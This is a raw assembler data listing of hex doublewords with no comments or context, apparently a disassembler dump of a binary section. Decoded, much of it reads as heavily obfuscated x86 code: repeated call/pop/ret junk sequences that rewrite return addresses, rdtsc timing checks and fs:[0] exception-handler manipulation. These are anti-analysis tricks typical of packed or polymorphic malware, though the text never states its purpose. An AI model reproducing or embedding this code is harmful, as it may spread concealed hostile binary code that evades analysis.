		dd 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh, 6ABF28h,	9860Fh
		dd 8B600000h, 1C21B8C2h, 0FF61303Ch, 0EA81DB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0CDEAAF03h, 59589A3h, 0FF060B07h, 0B0F1595h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 9ABD49E1h, 6CC2FFB2h, 0DFBF0FA7h, 0FE996h, 0B52D0000h
		dd 9F9C7F83h, 4D75D63h,	3D5D41F2h, 0B7515034h, 0B7965B83h
		dd 1DB5FFABh, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 68E9C357h, 0C229F84Dh
		dd 0E9A87D66h, 7, 0F9312C7Ch, 0FF81A549h, 0B00F595h, 1DBD0106h
		dd 83060B29h, 0B2191BDh, 840F0006h, 15h, 192D9501h, 0BF50060Bh
		dd 465048BAh, 89243489h, 0B0435BDh, 1DB5FF06h, 66060EA8h
		dd 734AEF81h, 128195FFh, 0E7B3060Bh, 0A81DB5FFh, 0FBBF060Eh
		dd 0FF2FB5ABh, 0B0B8D95h, 0F1BD8306h, 2060B17h,	3D840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 5051F0C3h, 5B5B5F51h, 2EC5858Bh, 0BD8B060Bh
		dd 60B13C1h, 0F0000C6h,	68Dh, 72EF8100h, 0C71B1B6Ah, 0B06B985h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0BF71625Fh, 0ACAC28D3h, 0F489E9D0h
		dd 8166FFFFh, 8BEA8ADFh, 0D78166C1h, 858DE6B7h,	60B28A9h
		dd 7E9h, 2B047E00h, 65B8BABEh, 24048950h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0A5C35040h, 94C4D614h
		dd 6ADE8Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	0F4C35747h, 931DCE0h, 880D33F4h, 10E9h,	0A4FB0B00h
		dd 3F46F8D4h, 0B06C45C0h, 0D7363A92h, 0B5BD2BB7h, 6A060B27h
		dd 21BD0B00h, 8D060B27h, 0FAFAB85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5EC1C252h
		dd 0F7C603ADh, 8A0FFE8Bh, 6, 293D9D8Bh,	0C083060Bh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B5895F77h, 60B2EF9h, 830F5790h, 0Bh, 6E9h, 3A4EAE00h
		dd 5B9454FAh, 0B8C0F50h, 50000000h, 0BF310F52h,	54F02B9Fh
		dd 0BF90585Ah, 6D832311h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 9BA5EBC3h, 0BD0B4C55h
		dd 60B29FDh, 6AD98Bh, 0FFF8BF0Fh, 0B2F2195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 68524FFEh, 0E1BF914Ch, 810D39B1h, 3351D1D3h,	0B08D8D2Ah
		dd 66060EA7h, 0D1FFD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 91C35141h, 73A4F8D2h,	19E1089Ah, 30BCBF66h
		dd 13E8h, 0C45B1D00h, 1CED597Bh, 965903Ah, 9D24F3A0h, 576C929Ah
		dd 9688BB66h, 19BD835Bh, 1060B0Bh, 0AD850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 977B4AC3h, 9874E1FDh, 0DF8B6643h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A5D089C3h
		dd 0B575F652h, 9096EDDBh, 0B0BB6651h, 50505BB4h, 8B310F52h
		dd 90585AD9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	0F1C35646h, 0EA01D065h,	13399D31h, 9D01060Bh, 60B2099h
		dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E98293C3h, 0DCAh, 0E8h,	0ED815D00h
		dd 60FAFB5h, 1A6DB501h,	0B70F060Bh, 51BB66D8h, 93858D69h
		dd 6A060E92h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F200C352h, 60CBFE05h,	4810Fh
		dd 0BF660000h, 0CE81D747h, 254957DFh, 0AE99061h, 49000000h
		dd 6A9CFC09h, 0C03223CDh, 0BB6650FEh, 8B90D169h, 0B2F49BDh
		dd 35FF6406h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0CC35040h
		dd 0C7C5DB0Dh, 28F0FE2h, 0B7000000h, 258964FCh,	0
		dd 6890Fh, 0B5890000h, 60B2809h, 66D85FFh, 0BD89060Bh
		dd 60B0209h, 0BD03FF6Ah, 60B2F51h, 1A31B5FFh, 0BF0F060Bh
		dd 1195FFFEh, 0E9060B24h, 0F0h,	2F61BD29h, 0B0060Bh, 3819D8Bh
		dd 70E6060Bh, 0DDBD2960h, 89060B0Ch, 0B174585h,	71E46106h
		dd 15DDBD01h, 613C060Bh, 0C2830Fh, 8B660000h, 0C8B60FFAh
		dd 6BAh, 29605100h, 0B2045BDh, 8B5F6106h, 0C10AB3C1h, 9D2904E8h
		dd 60B288Dh, 8BE2F766h,	0B02C1BDh, 0FC82B06h, 689h, 57D38100h
		dd 8B4481D6h, 0F1BB66D1h, 7EE945h, 858B0000h, 8, 33559D8Bh
		dd 0C083060Bh, 0F99D8B07h, 8B060B23h, 0B0619BDh, 0C08306h
		dd 11E952h, 167D0000h, 3F3B1A05h, 8AF35E6Fh, 852E070Eh
		dd 5BC9C013h, 830FD03Bh, 11h, 0B5958956h, 5B060B06h, 33E9h
		dd 65BB6600h, 0FF8D8B69h, 53FFFFFFh, 32E59D89h,	835B060Bh
		dd 840F01E1h, 18h, 0C65ABF66h, 0FFFFA583h, 89FEFFFFh, 895h
		dd 0E9ABB300h, 0
		dd 3049B58Dh, 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 30318C3h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 380415C3h
		dd 0CF19589h, 95FF060Bh, 60B32DDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0DBC35747h,	1BCB8031h, 0BB5B589h
		dd 0D5B9060Bh, 6600000Eh, 0E183DF8Bh, 0ADBD8BFCh, 0FC060B29h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 69C35545h
		dd 43A7078Dh, 0DDF04C19h, 0E9BB6667h, 12E9C7h, 66120000h
		dd 0A7781D0Dh, 998E266Ah, 5C92AA93h, 0F2B8E199h, 0B8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0BD230085h, 60B07A1h, 0BAh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0B8E717ACh, 9D896F08h, 60B21E9h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 986CBF66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 45C35545h, 0DCB5FCF0h, 66D9B70Fh, 0D4BE7BFh
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 0D8C35242h, 11222462h, 0C933F042h, 0C18D8978h, 8B060B19h
		dd 0B174D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 29C187F9h, 71207969h, 8D8BFC8Ah
		dd 60B0119h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0DBC35545h, 8DE341C0h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0E8B35818h, 81858951h, 5B060B24h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5EC35545h, 0DED69E83h
		dd 0D893476Ah, 850F60B0h, 6, 8C0Fh, 8B660000h, 9D8B61FAh
		dd 60B2949h, 29BDBD83h,	0F00060Bh, 6C84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0A7BBB34Ch, 19671577h, 0EB3DBB58h, 0B86941h,	23000000h
		dd 0B035D9Dh, 0D78D8D06h, 33060B4Dh, 0B31A19Dh,	6AE1FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C6F1C355h, 3984D245h, 8BFC5B52h,	0B16A59Dh
		dd 9BD8306h, 60B10h, 4BA840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 71C88C3h
		dd 7C3AEDCh, 9D29FECDh,	60B1A2Dh, 1009BD83h, 0F01060Bh
		dd 49E84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D8BFDA1h, 60B0BB1h, 1009BD83h, 0F03060Bh
		dd 43886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 5752AD0Ch, 5BDE8B66h, 0FBB70F5Fh
		dd 38F0F60h, 80000000h,	8C6633C3h, 0B7DF81D9h, 807119ABh
		dd 9D2304E1h, 60B1341h,	840FC90Ah, 146h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 85C35141h, 35964F62h
		dd 0FE8C06Ch, 0A8Dh, 4860F00h, 66000000h, 8BB29CBBh, 0B317D85h
		dd 17D78106h, 0E8300D31h, 12h, 4AB054E6h, 4C91E2D6h, 7BBF89E8h
		dd 7EB85DCAh, 8D89AD32h, 60B0DDDh, 0ED85335Bh, 0F9060B06h
		dd 4EBA6090h, 8B1C3ADAh, 8B5061FEh, 6AF990FBh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8D89600Fh, 60B0B91h,	5318D8Bh, 6061060Bh, 6810Fh, 8D890000h
		dd 60B13D5h, 6890Fh, 9D8B0000h,	60B2E61h, 22476861h, 0B5BB79E9h
		dd 813A7C83h, 21B82434h, 6A79F6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BEFDC2C3h, 0C65C1114h
		dd 0BD8904DAh, 60B3331h, 0E959589h, 95FF060Bh, 60B03D1h
		dd 25DF8166h, 1D8589EFh, 6A060EA8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DAC7C356h
		dd 333106CBh, 5850F60h,	0BE000000h, 17AC4499h, 0DAEF8166h
		dd 13E9618Bh, 0F000002h, 858BDBBFh, 60EA815h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 52C35343h, 0FB828D52h
		dd 0FEFBF5Dh, 0D9D0125h, 0C7060B2Ah, 1800h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0AF89788Fh, 38F0Fh, 0B70F0000h, 19B58BF9h, 6A060EA8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7D5CC351h, 0F1A0516h, 8166FAB7h, 0E96698DBh
		dd 0Eh,	5C4285A7h, 0C34120E9h, 0D0CD99C0h, 858BA979h, 60B06E1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7FC35141h
		dd 840F5489h, 3, 89DF8B66h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 3CFEBCBCh
		dd 666C7171h, 814EA8BBh, 418BD3DBh, 7D858B67h, 6A060B31h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 3D06C351h, 0B6121DEFh, 9D29E98Eh,	60B26E1h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 7FFAC357h, 2860F60h, 0B4000000h
		dd 12E960h, 41400000h, 44B5F63h, 0C7226A6h, 69883918h
		dd 508C00AAh, 0DA8B9661h, 5D6DBB50h, 6A967720h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8851C353h, 0A815B5FFh, 850F060Eh, 2,	0C768D88Bh, 50693754h
		dd 28B0F52h, 8B000000h,	5A310FF8h, 24348158h, 69285738h
		dd 29F960F9h, 0B06A5B5h, 858D6106h, 60EA81Dh, 1B59BF66h
		dd 89DE8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8B6016C3h, 0B0B6D95h, 0A1858B06h
		dd 61060B27h, 1A55B589h, 95FF060Bh, 60B03D1h, 331BD89h
		dd 6A61060Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 9FD6C356h, 78CB69BFh, 985C759h
		dd 3060B10h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0FE90C350h,	12D9BD01h
		dd 0BD83060Bh, 60EA81Dh, 3A840F00h, 89000000h, 0B14C9BDh
		dd 4AE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0BE252EC3h, 1001368Ch, 6810F53h
		dd 8B000000h, 0B2A119Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0D1CF8166h, 0BE873h,	22DF0000h
		dd 0ED18204Ah, 825DC465h, 10E9ABh, 98750000h, 0C71FF75Ah
		dd 2740F37Ch, 836E95B5h, 835FF7EEh, 0B1009BDh, 850F0306h
		dd 3E3h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	49C35242h, 39610A95h, 8B82F257h
		dd 0B01959Dh, 83FEB306h, 0EA81DBDh, 840F0006h, 3ABh, 2D89BD8Bh
		dd 0B5FF060Bh, 60EA81Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0FEC35545h, 0A06BEF5Bh, 0FFFD8A85h, 0B083D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0A81148D9h, 0C73BC27Ch, 79BD2348h, 8B060B1Bh
		dd 0EA811B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0F9C0F70h, 0C7AF5C08h, 1000106h
		dd 8B609600h, 0F7BF66CFh, 0BF506163h, 52F0E3ABh, 1DB5FF96h
		dd 6A060EA8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 2B48C350h, 0B2125BDh, 256FBF06h
		dd 95FF0F13h, 60B0641h,	3CDB8166h, 11B58B78h, 6A060EA8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 6A17C357h, 0E2B756B6h, 0E0A9D7A8h, 0DEFD5BFh
		dd 1D858B79h, 6A060B12h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 7342C355h, 6FEF9FF8h
		dd 0AAB860CEh, 8168568Fh, 83B7D4F6h, 9D036111h,	60B2439h
		dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 4D103BC3h, 801C6DB0h, 958BC5E3h
		dd 60B174Dh, 83DFB70Fh,	816604C2h, 896AD8EFh, 0BD012050h
		dd 60B1E8Dh, 0BAEE858Dh, 0BD89060Eh, 60B05E1h, 0B88689h
		dd 95310000h, 60B2101h,	32D99D8Bh, 6A060Bh, 6810Fh, 0BD8B0000h
		dd 60B2B69h, 0A81DB5FFh, 0BD8B060Eh, 60B1921h, 0F1595FFh
		dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 771284C3h, 0EE95096h, 0D7000000h,	0C443050h
		dd 6C68720Ah, 1B45F985h, 243489C7h, 58C0Fh, 28BB0000h
		dd 0FF22CA0Ah, 0EA81DB5h, 12E806h, 85690000h, 1580C094h
		dd 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah, 1B75BF66h, 0F595FF5Fh
		dd 0B7060B00h, 6820F49h, 8B000000h, 0B0B959Dh, 91BD8306h
		dd 60B21h, 53840Fh, 96F90000h, 13E9h, 0DF6CDA00h, 353CA2E8h
		dd 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0BE850h, 0F600000h
		dd 97A6670Ch, 8B86977Eh, 5BDA8BC5h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 3A6AADFh, 0B01999Dh
		dd 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 121C351h, 6FAF6EC9h
		dd 840FF88Bh, 4, 46CBF66h, 128195FFh, 6A060Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 344745C3h, 90D5D4FFh, 0FBBF0FB6h, 0A81DB5FFh, 6A060Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 3E590AC3h, 729F2589h, 6614E2ABh, 0BDDDD781h,	0FFD88B66h
		dd 0B0B8D95h, 2BBB6606h, 0F1BD8323h, 2060B17h, 59840Fh
		dd 0DA8B0000h, 2EC5858Bh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 33A958C3h, 0D19EC490h
		dd 28D0F79h, 8B000000h,	0C6F9h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 36C35545h, 0C7D40112h, 0C74E8F9Bh
		dd 0B06B985h, 6, 4DB53100h, 0E9060B05h,	0FFFFF330h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 72C35545h, 365B376Ch
		dd 0A7153756h, 0DE9h, 0C1814700h, 2019DF63h, 91A5D951h
		dd 0C18B3F8Dh, 63D9529h, 858D060Bh, 60B28A9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h, 0E9BEC7C1h
		dd 11h,	0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0FE8B664Fh
		dd 89DF8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0E4B90DC3h, 633CF005h, 5E9F768h
		dd 0F9000000h, 0ABF7369Ah, 0B960006Ah, 0C81F7A0h, 33B9BD01h
		dd 6A61060Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0DE013CAEh, 0BFBA858Dh, 0AE8060Fh
		dd 46000000h, 0C7DA1BF2h, 0BC2554F1h, 0C1BD8B31h, 5F060B2Eh
		dd 0E805C083h, 9, 5A60AB08h, 0CDFB0EFh,	0D98B66D7h, 0DE8905Bh
		dd 1E000000h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh,	0BE9h
		dd 5B28F800h, 3A2FEAE1h, 6043E021h, 8990505Fh, 0B0B51BDh
		dd 0BF006A06h, 6ABDCF03h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B272AC3h, 0B2181BDh
		dd 2195FF06h, 6A060B2Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 2EAEC352h, 0CC98D89h
		dd 8D8D060Bh, 60EA7B0h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C2C35141h, 0F93DC087h, 0FE9B0CDh, 84000000h
		dd 571567D1h, 4EE1577Eh, 0F03BA54Bh, 0D1FF9352h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h, 98390842h
		dd 225D9D0Bh, 8E9060Bh,	9F000000h, 43DE2110h, 83D7AF86h
		dd 0B0B19BDh, 850F0106h, 6Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 9AC35040h, 89576C92h, 0B02F98Dh
		dd 6A026A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7A8FC356h, 0B8DC5998h,	0CFBF7D27h
		dd 28F0F50h, 0B3000000h, 240489D8h, 289D9D89h, 95FF060Bh
		dd 60B0F15h, 8BD38B60h,	0B1741B5h, 0E0E96106h, 0E800000Ch
		dd 0
		dd 0C4ED815Dh, 8B060FBFh, 0B02A99Dh, 0ED8D2906h, 66060B0Fh
		dd 94F6F381h, 9293858Dh, 6A060Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 8463F8C3h, 0F1179A8h
		dd 681h, 899D8900h, 0E9060B29h,	0Dh, 9F184229h,	75C11BCFh
		dd 0F40DC726h, 31BF5017h, 8924C695h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 328D82C3h
		dd 1CA8B19Ah, 53FA8B27h, 0FF645BF9h, 35h, 0E5858900h, 64060B13h
		dd 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0FEBB7CC3h, 0E9FACEA1h, 0Ah, 3D872501h
		dd 3C1F26h, 85FF406Eh, 60B066Dh, 0C718D89h, 0FF6A060Bh
		dd 0D9B5FFFCh, 0E9060B0Eh, 0Ah,	0B805DC74h, 142CB156h
		dd 95FFC0DFh, 60B2411h,	123E9h,	0D3816600h, 0B064BFh, 3059D8Bh
		dd 70E6060Bh, 8A59D8Bh,	0BD01060Bh, 60B1789h, 858971E4h
		dd 60B2E71h, 613C69B7h,	0F6830Fh, 0FC8A0000h, 0BAC8B60Fh
		dd 6, 89C18BF5h, 0B240D95h, 4E8C106h, 661ECB80h, 9D31E2F7h
		dd 60B0C75h, 0DE9h, 89DF200h, 753736DAh, 1800B63Ch, 0C82BD9CDh
		dd 21018589h, 0D18B060Bh, 0E9F9B70Fh, 0B0h, 1765BD8Bh
		dd 858B060Bh, 1, 68A0Fh, 0B5890000h, 60B0571h, 0E807C083h
		dd 0Fh,	0F1C97A96h, 121BD86h, 6FAF6EC9h, 8991520Eh, 0B14C195h
		dd 0B9605F06h, 1A97955Ah, 12E9h, 0AFCE3C00h, 9A5B2BCFh
		dd 2A8202E0h, 0A4C0589Ch, 6172797Bh, 6000C083h,	0F598D89h
		dd 0BF0F060Bh, 0D03B61D8h, 0E830Fh, 0B5890000h,	60B0139h
		dd 3BE9h, 5BFC5000h, 0FFFF8D8Bh, 9D8BFFFFh, 60B0CDDh, 0F01E183h
		dd 2384h, 0C3816600h, 0A583B3E9h, 0FFFFFFFFh, 3D9D8BFEh
		dd 89060B10h, 195h, 0BD9D0B00h,	0E9060B08h, 0
		dd 3F1EB58Dh, 870F060Fh, 0Ch, 6870Fh, 860F0000h, 0
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 667019C3h, 0A81DDB81h, 0FFFBBF0Fh, 0B32DD95h
		dd 5D9D8906h, 0B9060B28h, 1093h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 14h, 4CC35242h, 0EE9B501h, 0E183060Bh
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 7321BF0Fh, 17C52B01h, 327DB589h,	6AFC060Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 9325C352h, 83B7CDB6h, 2BFBBF0Fh, 3D9D23C0h
		dd 0BA060B00h, 0
		dd 0ADFBB70Fh, 0E8D1C233h, 0E983D003h, 66F47504h, 6AE1A9BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 7F3FC355h, 0BB1B1978h, 6EBF6E8Fh,	0D135EECh
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 71C35646h, 0FDBD8B82h, 8B060B03h, 0B174D95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0D593F24Eh, 53E311C5h, 3AC38166h, 8D8B5B06h,	60B0119h
		dd 319BD8Bh, 8B50060Bh,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 3179BD8Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 612F97C3h, 8392DB24h
		dd 0B29BDBDh, 840F0006h, 77h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 6FC35040h, 7BE89E3Dh, 255FFDFDh
		dd 2989BD8Bh, 8166060Bh, 0B82157DBh, 0
		dd 21B58D89h, 8D8D060Bh, 60B4DD7h, 0DE8h, 0E100B500h, 55DF4FA1h
		dd 0FECB52D8h, 0FF5B9B31h, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8ABBAB45h
		dd 833B8A14h, 0B1009BDh, 840F0006h, 420h, 5880Fh, 81660000h
		dd 83127FCFh, 0B1009BDh, 840F0106h, 423h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0E5C35141h, 92F890F7h
		dd 0B8D381B2h, 0F80DF096h, 1009BD83h, 0F03060Bh, 3B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 90490A8Dh, 85B5179Ah, 0E8DE8BA8h, 14h, 3DFC382Dh
		dd 94ED015Dh, 0D729D728h, 972A530h, 35D49FB7h, 119D33h
		dd 605F060Bh, 27698589h, 8D09060Bh, 60B0339h, 31D98C66h
		dd 0B2D8D8Dh, 4E18006h,	0F9F78166h, 0FC90A2Ch, 17384h
		dd 0D1BD8B00h, 8B060B02h, 0B317D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66A41463h
		dd 8ABBC381h, 6ED8533h,	8E0F060Bh, 0Ch,	7E9h, 45F78000h
		dd 93B99289h, 58B0Fh, 81660000h, 90978FEFh, 0C18B6660h
		dd 5061F98Ah, 178A0Fh, 12E90000h, 0A3000000h, 91AD9490h
		dd 82AA2345h, 0AF0A4342h, 0F0194F0Bh, 6A9060h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F1B54C3h, 8B66DEB7h, 80006AF9h, 0B70F12E3h,	0DB8C68D8h
		dd 820F25DEh, 3, 81F88B66h, 0D8732434h,	6A25C1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C5F700C3h, 0AB57F87Bh, 6BBFBF91h, 9D8B5B5Ah, 60B1FD5h
		dd 3D195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 59A3D4C3h, 2B01BB45h, 0B0B31BDh
		dd 1D858906h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 39F3C351h, 0DDF77A1h
		dd 152CA0FCh, 20398D89h, 9FE9060Bh, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0C3D0C350h, 0BC8DBC41h, 9D8BA859h, 60B2DE9h,	0A815858Bh
		dd 7E9060Eh, 0C2000000h, 67911F71h, 0C77055h, 18h, 322D9589h
		dd 9D89060Bh, 60B2801h,	0A819B58Bh, 0F88B060Eh,	486CBF66h
		dd 6E1858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0CE971C3h, 0E5000000h, 9E9DC027h
		dd 0BA4ABC48h, 8924BF6Ch, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 858BF1D6h
		dd 60B317Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	33C35242h, 4C1BD33h, 4689060Bh,	880F04h, 50000000h
		dd 4880Fh, 0BB660000h, 34898CFEh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0B5FFF9D5h
		dd 60EA815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	57C35545h, 68DAB70Fh, 0BB167ABh, 123757BBh, 2434817Fh
		dd 0BAE6454h, 0BD5BD8Bh, 858D060Bh, 60EA81Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 96BB9436h
